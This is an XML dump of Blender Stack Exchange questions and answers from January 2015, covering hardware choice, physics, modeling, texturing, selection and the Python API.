  <row Id="21810" PostTypeId="1" AcceptedAnswerId="21812" CreationDate="2015-01-06T15:57:06.797" Score="9" ViewCount="2693" Body="&lt;p&gt;I have the option of 3.33 ghz 4 core processor, a 2.66ghz 6 core or a 2.93 ghz 6 core.&#xA;I know that the middle one will be slower than the last, you don't have to tell me that.&lt;br&gt;&#xA;What I would like to know is what would work better? 4 fast cores or 6 slower ones? I know that if you do the math the last one is the best but how many cores can Blender use?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would also like to know what would be the best for blender internal renderer and cycles (if there's any difference.)&lt;/p&gt;&#xA;" OwnerUserId="9711" LastEditorUserId="2217" LastEditDate="2015-01-06T16:22:24.563" LastActivityDate="2015-01-06T16:22:24.563" Title="4 fast cores or 6 slower ones?" Tags="&lt;cycles-render-engine&gt;&lt;blender-internal-render-engine&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="21811" PostTypeId="1" AcceptedAnswerId="21821" CreationDate="2015-01-06T16:03:44.093" Score="2" ViewCount="1133" Body="&lt;p&gt;I'd like to have a ball (blender game engine) which rolls forward by its own and with real physics and friction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It shouldn't be animated though, what I'd like to have is kind of like a &quot;motorized ball&quot; who rolls forward just by its own force. No work arrounds with wind or invisible objects pushing or draging it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I did:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;keyframes for the spinning animation (360 degrees)&lt;/li&gt;&#xA;&lt;li&gt;made it a rigid body&lt;/li&gt;&#xA;&lt;li&gt;sensors &quot;always&quot; and &quot;action&quot; so that it spins when in game mode&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;but it just falls down to the floor and spins where it is. It doesnt react to the floor whatsoever (which has collision on and is a passive).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or is there a complete different way to do such things like &quot;mechanical animation&quot; or whatever it's called?&#xA;Thank you in advance :)&lt;/p&gt;&#xA;" OwnerUserId="9529" LastEditorUserId="9529" LastEditDate="2015-01-06T16:37:43.290" LastActivityDate="2015-01-06T18:58:49.647" Title="Moving a ball forward, mechanical force" Tags="&lt;physics&gt;&lt;rigid-body-simulation&gt;&lt;keyframes&gt;" AnswerCount="1" CommentCount="10" ContentLicense="CC BY-SA 3.0" />
  <row Id="21812" PostTypeId="2" ParentId="21810" CreationDate="2015-01-06T16:08:47.940" Score="10" Body="&lt;p&gt;Blender can use up to 8 cores, and it does.&lt;br&gt;&#xA;For rendering, or baking the two most CPU intensive tasks, the 2.93 ghz 6 core would be better. The clock speed is not as important as computational power, and for that the more cores wins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For Cycles a good GPU would be faster then any of those CPUs listed. However if you are rendering on the CPU (like me) then the same is true more computational power will win out over a faster clock speed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.blenderguru.com/articles/the-ultimate-guide-to-buying-a-computer-for-blender&quot;&gt;Blender guru article&lt;/a&gt; on buying a computer for blender.&lt;/p&gt;&#xA;" OwnerUserId="2217" LastEditorUserId="2217" LastEditDate="2015-01-06T16:14:46.410" LastActivityDate="2015-01-06T16:14:46.410" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="21813" PostTypeId="2" ParentId="14579" CreationDate="2015-01-06T16:16:24.980" Score="15" Body="&lt;p&gt;If you intend to &lt;strong&gt;subdivide&lt;/strong&gt; the mesh later (eg. using Subsurf modifier) and use only Grid Fill on the cap, you will get distorted mesh, despite the fact that it's all quads. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In such situations caring about all quad faces is not enough and filling the gap with simple Grid Fill operation won't do the trick. You need at least one additional edge loop on the cap before using Grid Fill, like the mesh on the right shows:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/mLNfe.png&quot; alt=&quot;distorted all quad mesh&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1621" LastActivityDate="2015-01-06T16:16:24.980" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21814" PostTypeId="1" AcceptedAnswerId="22841" CreationDate="2015-01-06T16:47:50.610" Score="1" ViewCount="94" Body="&lt;p&gt;I want to use a single frame from a movie as an image for a texture.  And I do NOT want to store the still in a file (I'll be creating hundreds of these materials using python).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I give the material a texture from an &quot;Image or Movie&quot; and pick the movie file then blender automatically picks a different frame from the movie for each frame in the animation.  This is very convenient if you want the texture to play back the movie during the course of the animation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If, however, you want to use a single still from the movie, the only way I have come up with to accomplish the mission is to put keyframes on the Offset property of the Image subpanel of the texture.  By making the offset decrement by 1 each frame you effectively freeze the texture on a single still.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to make sure there isn't a checkbox I overlooked or a simpler way.&lt;/p&gt;&#xA;" OwnerUserId="660" LastActivityDate="2015-01-07T16:29:11.593" Title="is there an easier way to use a still from a movie as a texture?" Tags="&lt;texturing&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="21815" PostTypeId="2" ParentId="21485" CreationDate="2015-01-06T16:50:31.457" Score="1" Body="&lt;p&gt;Unfortunately, you cannot access the history list directly from python (I'm pretty confident this is the case.).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The history list is called by &lt;code&gt;bpy.ops.ed.undo_history()&lt;/code&gt; and doesn't have any accessible attributes that you can read into a list. In fact, &lt;code&gt;bpy.ops.ed&lt;/code&gt;'s methods come from &lt;code&gt;bpy.types&lt;/code&gt; where the class  starts with &lt;code&gt;ED_OT_&lt;/code&gt; (eg. &lt;code&gt;bpy.ops.ed.undo()&lt;/code&gt; is really an instance of &lt;code&gt;bpy.types.ED_OT_undo()&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It looks like the undo stuff is in the guts of blender-app.exe but you can try and mess around with this bpy.ops.ed stuff and see if you can manage something that I may be overlooking. &lt;/p&gt;&#xA;" OwnerUserId="9827" LastActivityDate="2015-01-06T16:50:31.457" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21816" PostTypeId="1" CreationDate="2015-01-06T17:32:05.593" Score="2" ViewCount="1064" Body="&lt;p&gt;How do I copy/paste rigid-body constraints in 2.73 rc1? (I Have a lot of objects)&lt;/p&gt;&#xA;" OwnerUserId="9834" LastEditorUserId="241" LastEditDate="2015-01-06T18:03:05.587" LastActivityDate="2015-02-04T09:48:57.507" Title="How to copy/paste rigid-body-constraints in 2.73 rc1?" Tags="&lt;objects&gt;&lt;workflow&gt;&lt;constraints&gt;" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21817" PostTypeId="1" CreationDate="2015-01-06T17:39:08.443" Score="2" ViewCount="509" Body="&lt;p&gt;I'm making a 3D tube, and I need to make it 'move' to form something, starting from 0 to the form, that is actually a ring.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you remember, its something like the old windows 3D tube screen saver:&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/yWhGN.jpg&quot; alt=&quot;windows screen saver&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="9718" LastEditorUserId="2217" LastEditDate="2015-01-06T17:50:38.863" LastActivityDate="2015-01-07T15:05:26.017" Title="How to add more geometry via animation?" Tags="&lt;modeling&gt;&lt;animation&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21818" PostTypeId="2" ParentId="21769" CreationDate="2015-01-06T17:44:44.527" Score="10" Body="&lt;p&gt;To look in side your room to place your objects you can &quot;cut&quot; your room. In the view port press &lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;B&lt;/kbd&gt; or from the 3D view header &lt;em&gt;View&lt;/em&gt; &gt; &lt;em&gt;Clipping Border&lt;/em&gt; to make a selection of what will be visible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To use the &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/3D_interaction/Navigating/3D_View#View_Clipping_Border&quot; rel=&quot;noreferrer&quot;&gt;clipping border&lt;/a&gt; go to side view and draw the box over you entire room, except for the front wall. Then when you look at your room from the front view you will be seeing in to your room.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/rRYEM.gif&quot; alt=&quot;animated gif&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="2217" LastActivityDate="2015-01-06T17:44:44.527" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21819" PostTypeId="1" CreationDate="2015-01-06T18:36:29.193" Score="1" ViewCount="412" Body="&lt;p&gt;So I have said this earlier, but I love watching Adobe After Effects tutorials, and recreating them in blender. But I have this problem that has happened in a few tutorials now. Its where people use the Time Displacement Modifier. It looks like a really handy modifier, and I am almost certain that it can be recreated for blender. The question I have is: Does an addon already exist? or do I/we need to make it so? Thanks for your help!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: For those who don't know what time displacement does, watch this video: &lt;a href=&quot;https://www.youtube.com/watch?v=YCZ3MqXOfYQ&quot; rel=&quot;nofollow&quot;&gt;https://www.youtube.com/watch?v=YCZ3MqXOfYQ&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3090" LastEditorUserId="3090" LastEditDate="2015-01-06T18:54:20.990" LastActivityDate="2015-01-10T04:02:52.023" Title="Time Displacement in Blender?" Tags="&lt;cycles-render-engine&gt;&lt;add-on&gt;&lt;video-sequence-editor&gt;" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="21820" PostTypeId="1" CreationDate="2015-01-06T18:50:44.117" Score="5" ViewCount="1254" Body="&lt;p&gt;Is seems strange that the text editor has a vertical scroll bar but not a horizontal one. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bender uses Shift-MMB to 'pan' most views, but I couldn't get it working on the text editor.  I don't like 'word wrap' for long lines. Is it possible to enable the horizontal bar?&lt;/p&gt;&#xA;" OwnerUserId="9816" LastActivityDate="2015-01-06T19:00:49.563" Title="How to turn on the horizontal scroll bar in text editor" Tags="&lt;text-editor&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21821" PostTypeId="2" ParentId="21811" CreationDate="2015-01-06T18:58:49.647" Score="1" Body="&lt;p&gt;You need to tick the &lt;em&gt;Animated&lt;/em&gt; checkbox under the &lt;em&gt;Rigid Body&lt;/em&gt; tab:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/8FvbH.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the object just sets there and doesn't roll, you should make sure your &lt;em&gt;Friction&lt;/em&gt; levels are set properly for the involved collision objects:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Zt7Lr.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Zero friction will result in no forward movement, make it higher and the &quot;Stickiness&quot; gets higher while lower settings make it more slippery. &lt;/p&gt;&#xA;" OwnerUserId="6204" LastActivityDate="2015-01-06T18:58:49.647" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21822" PostTypeId="2" ParentId="21820" CreationDate="2015-01-06T19:00:49.563" Score="7" Body="&lt;p&gt;You can use the &lt;kbd&gt;MMB&lt;/kbd&gt; (without the &lt;kbd&gt;Shift&lt;/kbd&gt; key) to grab and slide the view in the text editor.&lt;/p&gt;&#xA;" OwnerUserId="6204" LastActivityDate="2015-01-06T19:00:49.563" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="21823" PostTypeId="2" ParentId="21816" CreationDate="2015-01-06T19:12:59.193" Score="2" Body="&lt;p&gt;You can use &lt;code&gt;Copy from Active&lt;/code&gt;. To do this, first select all your objects that will receive the &lt;em&gt;Rigid Body&lt;/em&gt; physics, and then the one which already as it; This is so that the object which has the &lt;em&gt;Rigid Body&lt;/em&gt; physics becomes the &lt;em&gt;Active&lt;/em&gt; object.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then, open the &lt;code&gt;Toolbar&lt;/code&gt; (press &lt;kbd&gt;T&lt;/kbd&gt;) and switch to the &lt;code&gt;Physics&lt;/code&gt; tab; There, you can press &lt;code&gt;Copy from Active&lt;/code&gt; to copy all the physics to the new objects.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/0kgEg.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="3078" LastActivityDate="2015-01-06T19:12:59.193" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="21825" PostTypeId="2" ParentId="7928" CreationDate="2015-01-06T19:53:40.003" Score="5" Body="&lt;p&gt;In addition to learning Blender's native boolean operations, I highly recommend you check out a free add-on called BoolTool (version 0.2)&#xA;Here is &lt;a href=&quot;http://wiki.blender.org/index.php/Extensions:2.6/Py/Scripts/Object/BoolTool&quot; rel=&quot;nofollow&quot;&gt;the link to the add-on.&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here are my notes for using the BoolTool add-on.&#xA;It makes booleans so easy that you can use Blender like ShadowBox in ZBrush.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Q: How do I use the BoolTool Add-On?&lt;br&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A: &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Create a cube. &lt;/li&gt;&#xA;&lt;li&gt;Duplicate the cube (&lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;D&lt;/kbd&gt;). &lt;/li&gt;&#xA;&lt;li&gt;Drag the duplicated cube (Brush object) so that it intersects with the original cube (Canvas object). &lt;/li&gt;&#xA;&lt;li&gt;&lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;Right-click&lt;/kbd&gt; click to add the original cube (Canvas object) to the duplicate cube's (Brush object's) selection. &lt;/li&gt;&#xA;&lt;li&gt;In the BoolTool Tab in the ToolShelf, under Brush, click either Union, Intersection or Difference (or click on each one to see what they do). You will now see the Brush object perform according to the selected operation under the Brush Menu. &lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Making a Brush object works great as a mask to cut in or add detail. The Canvas properties will affect the Canvas object. With the Canvas object selected you can also use the Brush properties which will obviously affect the Brush object. You can modify the Brush object in the 3D View such as scaling it or duplicating it to make multiple brushes. By selecting the Canvas object you can also manipulate a selected brush object in the Brush properties such as hiding it, applying it or removing it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you don't want to make a Brush, you can simply select what would ordinarily be the Brush object and then add the Canvas object to the selection and then just press the operation under Direct and a boolean operation will be performed. The results of the boolean operation will be stored in the active selection (the last selected object) and you can have multiple objects that act as Brush objects.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here are the hotkeys as found in the Object menu:&lt;br&gt;&#xA;Brush Union = &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;Numpad Plus&lt;/kbd&gt;&lt;br&gt;&#xA;Brush Difference = &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;Numpad Minus&lt;/kbd&gt;&lt;br&gt;&#xA;Brush Intersection = &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;Numpad Asterisk&lt;/kbd&gt;&lt;br&gt;&#xA;Direct Union = &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;Numpad Plus&lt;/kbd&gt;&lt;br&gt;&#xA;Direct Difference = &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;Numpad Minus&lt;/kbd&gt;&lt;br&gt;&#xA;Direct Intersection = &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;Numpad Asterisk&lt;/kbd&gt;&lt;br&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Note&lt;/strong&gt;: BoolTool will automatically convert Curve objects to mesh objects when you apply it as a Brush or Direct Boolean operation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To use the Draw Poly Brush:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Switch to the view that you want to work such as Front view and then click on Draw Poly Brush. You will have a grease pencil that you can use to draw lines. &lt;/li&gt;&#xA;&lt;li&gt;Simply click where you want each point to be. You don't need to close the poly. The two open endpoints will automatically be closed. &lt;/li&gt;&#xA;&lt;li&gt;When finished drawing, press &lt;kbd&gt;Enter&lt;/kbd&gt; and the polygon will be created. &lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Poly Brush size will scale the depth of the polygon. You can use the Poly Brush as a Brush or Directly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Inside the BoolTool add-on's Preferences, you can check Fast Transformations (marked experimental and disabled by default).&#xA;Fast Transformations replaces the &lt;kbd&gt;G&lt;/kbd&gt;/&lt;kbd&gt;R&lt;/kbd&gt;/&lt;kbd&gt;S&lt;/kbd&gt; hotkeys for a new custom version that handles Boolean operations faster. The Blender viewport can struggle with high poly models when trying to carve out parts of the canvas. With this enabled, there will be a new option in the Brush properties that says 'Fast Vis', which when used, will allow the visibility to be changed on the fly. Use it if your workflow is being bogged down. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Note&lt;/strong&gt;: with Fast Vis on, it will be enabled for all the brushes.&lt;/p&gt;&#xA;" OwnerUserId="9504" LastEditorUserId="241" LastEditDate="2016-09-17T15:27:02.830" LastActivityDate="2016-09-17T15:27:02.830" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21829" PostTypeId="2" ParentId="18444" CreationDate="2015-01-06T21:11:32.283" Score="6" Body="&lt;p&gt;Changing the size and position of sky textures in the blender internal is as simple as changing a value.&lt;br&gt;&#xA;Go to the &lt;em&gt;Texture&lt;/em&gt; tab of the &lt;em&gt;Properties&lt;/em&gt; window. Scroll down to the &lt;em&gt;Mapping&lt;/em&gt; category, then increase the Y value for the &lt;em&gt;Offset&lt;/em&gt;.&lt;br&gt;&#xA;If you then have a problem of the image missing from the top, you can scale it up with the &lt;em&gt;Size&lt;/em&gt; values.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/ddyeK.png&quot; alt=&quot;texture settings&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="2217" LastActivityDate="2015-01-06T21:11:32.283" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21830" PostTypeId="1" CreationDate="2015-01-06T21:53:01.193" Score="2" ViewCount="765" Body="&lt;p&gt;I have an idea. &#xA;For example, I have three 3D View areas. And when I change view in the biggest one, in another 2 views direction must change too. &#xA;For example #2, if I press 1 when the biggest window is active, then in 2 other 3D View windows view direction must change to Top and Right. And if I press 3 in biggest window,  directions of view in other windows must change to Top and Front.&#xA;Now I just have access to all areas by using this code&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    bpy.context.window_manager.windows[0].screen.areas&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I hope you understand me, sorry for bad english.&lt;/p&gt;&#xA;" OwnerUserId="9840" LastActivityDate="2015-01-07T10:07:24.080" Title="How to change direction of view by Python?" Tags="&lt;python&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21831" PostTypeId="2" ParentId="21817" CreationDate="2015-01-06T22:30:11.747" Score="2" Body="&lt;p&gt;It's very easy to animate the growth of the pipes if they were simple curves with a bevel shape. You would then animate the Bevel Factor End value to have the shape grow. This would not give you the ball joints you show in the image. You would have to treat them separately.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another option would be to create the pipes as mesh objects and then use the Mask Modifier in combination with a Dynamic Paint object to reveal the mesh over time. This would give you more flexibility on the shape of the pipe you want to use.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To do this you would:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Create a pipe mesh object.&lt;/li&gt;&#xA;&lt;li&gt;Create a mesh object to paint with (like a sphere) and position it at the beginning of the pipe.&lt;/li&gt;&#xA;&lt;li&gt;Animate the brush object on a path that travels from the beginning of the pipe to the end.&lt;/li&gt;&#xA;&lt;li&gt;In Physics tab, add Dynamic paint to the pipe object, set it as a Canvas and add new canvas. Set the Surface Type to Weight. You'll see a name appear in red in the Dynamic Paint output Vertex group box. Click the plus sign beside it to activate it as a vertex group for the object.&lt;/li&gt;&#xA;&lt;li&gt;Add Dynamic paint to the brush object. Choose Brush as the type, add brush. &lt;/li&gt;&#xA;&lt;li&gt;Play the animation, you should see the weight colour of the pipe change as the brush object travels across it.&lt;/li&gt;&#xA;&lt;li&gt;You can then add a Mask Modifier to the pipe object and choose the vertex group you created in the DynPaint panel.&lt;/li&gt;&#xA;&lt;li&gt;You will probably need to add SubDiv mod to the pipe to create more vertices to play with so the reveal transition is smoother.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/LT0tV.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="894" LastEditorUserId="894" LastEditDate="2015-01-07T15:05:26.017" LastActivityDate="2015-01-07T15:05:26.017" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="21832" PostTypeId="1" AcceptedAnswerId="21833" CreationDate="2015-01-06T22:37:59.913" Score="4" ViewCount="1226" Body="&lt;p&gt;I have a problem with selecting. When I select some objects (for example a camera), then press &lt;kbd&gt;A&lt;/kbd&gt; (deselect everything), &lt;kbd&gt;B&lt;/kbd&gt; and select multiple objects, I'm not able to, for example, set the material for this objects, because Blender still thinks that the camera is selected.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm new to Blender, so it's very likely that I just clicked something wrong.&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/4GgGk.png&quot; alt=&quot;Before I selected this two planes, I selected a camera and deselected everything with &amp;#39;a&amp;#39;&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="9841" LastEditorUserId="2217" LastEditDate="2015-01-06T22:54:11.437" LastActivityDate="2015-01-06T23:09:03.543" Title="Object selection problem in 3D view" Tags="&lt;interface&gt;&lt;3d-view&gt;&lt;selection-tools&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21833" PostTypeId="2" ParentId="21832" CreationDate="2015-01-06T22:47:40.050" Score="5" Body="&lt;p&gt;This is because there are really &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Modeling/Objects/Selecting#Selections_and_the_Active_Object&quot; rel=&quot;noreferrer&quot;&gt;three selection states&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Deselected&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;No outline or origin shown:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/zBldc.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Selected&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Orange outline and orange origin:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/GqWxk.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Active&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Yellow outline when also selected, yellow origin:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/N0aZm.png&quot; alt=&quot;enter image description here&quot;&gt; &lt;img src=&quot;https://i.stack.imgur.com/IHLtf.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Active + Selected &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Active + Deselected&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;There is only one &lt;em&gt;Active&lt;/em&gt; object. This object is the one which will be edited, if any changes are made in the properties region or edit mode etc.&lt;br&gt;&#xA;In your screenshot you'll notice that the camera is still active, even though you deselected everything. To fix this,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;em&gt;Active&lt;/em&gt; object is normally the last object clicked with &lt;kbd&gt;&lt;img src=&quot;https://i.stack.imgur.com/LPwD4.png&quot; alt=&quot;RMB&quot; title=&quot;Right Mouse Button&quot;&gt; RMB&lt;/kbd&gt;. To set the active object without deselecting all other objects you can use &lt;kbd&gt;&amp;#8679; Shift&lt;/kbd&gt;&lt;kbd&gt;&lt;img src=&quot;https://i.stack.imgur.com/LPwD4.png&quot; alt=&quot;RMB&quot; title=&quot;Right Mouse Button&quot;&gt; RMB&lt;/kbd&gt;.&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2015-01-06T22:56:47.963" LastActivityDate="2015-01-06T22:56:47.963" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="21835" PostTypeId="1" CreationDate="2015-01-06T23:29:44.530" Score="5" ViewCount="901" Body="&lt;p&gt;Here is my setup:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;I have the default cube&lt;/li&gt;&#xA;&lt;li&gt;I make a sphere and move it y+4 (now at 0,4,0)&lt;/li&gt;&#xA;&lt;li&gt;I parent the sphere (child) to the cube (parent)&lt;/li&gt;&#xA;&lt;li&gt;the sphere location is [0,4,0] in local coordinates. It's the same for global coordinates. (This is a simplified example.)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I want to programmatically get the sphere's coordinates in the global space.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Scouring the web, I have found the following general formula for getting global coordinates from local ones:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sphere.matrix_world * sphere.location&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In the above example, if I plug that into the python console, it produces [0,8,0]. Why 8? It should be 4, no? Is this not the correct formula? If I make the example more complex (by rotating the cube, for example) I still get this 'doubling' effect. [0,3,0] becomes [0,6,0]. What is the correct python expression to get the correct &lt;em&gt;global&lt;/em&gt; coordinates of the parented sphere?&lt;/p&gt;&#xA;" OwnerUserId="9843" LastActivityDate="2015-01-07T08:37:05.067" Title="Given the local coordinates of a parented object, how do I get its global coordinates using the Python API?" Tags="&lt;python&gt;&lt;coordinates&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21836" PostTypeId="1" CreationDate="2015-01-07T00:04:02.770" Score="2" ViewCount="5937" Body="&lt;p&gt;Makehuman Blender tools from Makehuman v1.0.2 aren't showing after &quot;install from file&quot; in user preferences in stable version of Blender 2.72b.&#xA;Python console highlights green that the mhBlender tools have been placed in the correct folders for Blender to find them, but they don't show up in user prefs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another user had the same problems on the &lt;a href=&quot;http://forum.makehuman.org/viewtopic.php?f=13&amp;amp;t=11157&amp;amp;start=10&quot; rel=&quot;nofollow&quot;&gt;Makehuman.org forum&lt;/a&gt;, and a workaround was offered that worked for this guy, but it doesn't for me.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;No problems with Makehuman working, only getting the Blender tools into Blender's user preferences. Same issue with Windows 7.&lt;/p&gt;&#xA;" OwnerUserId="9844" LastEditorUserId="2217" LastEditDate="2015-01-07T17:04:31.487" LastActivityDate="2016-02-28T22:30:00.330" Title="Makehuman 1.0.2 Blender tools issues in Blender 2.72b" Tags="&lt;add-on&gt;&lt;makehuman&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
